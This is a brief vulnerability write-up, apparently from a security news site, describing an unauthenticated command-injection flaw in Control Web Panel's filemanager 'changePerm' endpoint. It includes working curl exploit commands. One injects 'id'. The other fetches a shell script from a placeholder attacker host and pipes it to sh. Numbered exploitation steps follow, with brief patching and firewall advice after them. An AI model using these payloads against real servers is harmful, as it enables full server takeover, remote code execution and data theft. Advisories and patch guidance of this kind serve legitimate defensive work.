Listen to this Post
How the CVE Works:
The vulnerability exists in the filemanager component of CWP. An unauthenticated attacker can send a crafted HTTP request to the `changePerm` endpoint. By including shell metacharacters (e.g., ;, &, |) within the `t_total` parameter, the input is passed unsanitized to a system shell command. This allows the attacker to break out of the intended command and execute arbitrary operating system commands on the server. The attack requires prior knowledge of a valid, non-root username on the system, which acts as a minor obstacle but is often easily guessable or discoverable.
Platform: Control Web Panel
Version: < 0.9.8.1205
Vulnerability : Remote Code Execution
Severity: Critical
date: 2024
Prediction: 2024-06-15
What Undercode Say:
curl -X POST http://<target>/filemanager/changePerm -d "t_total=1;id&user=<known_username>"
curl -X POST "http://192.168.1.10/filemanager/changePerm" --data "t_total=1;curl${IFS}http://attacker.com/shell.sh${IFS}|${IFS}sh;&user=client1"
How Exploit:
1. Discover a valid username.
2. Craft a POST request to `/filemanager/changePerm`.
3. Inject a command in the `t_total` parameter.
- Server executes the command with web server privileges.
Protection from this CVE
Upgrade CWP to version 0.9.8.1205 or later. If immediate patching is not possible, restrict network access to the CWP panel and employ a Web Application Firewall (WAF) to block requests containing shell metacharacters.
Impact:
Complete compromise of the server, enabling an unauthenticated attacker to achieve remote code execution, potentially leading to data theft, website defacement, or a foothold for further network attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
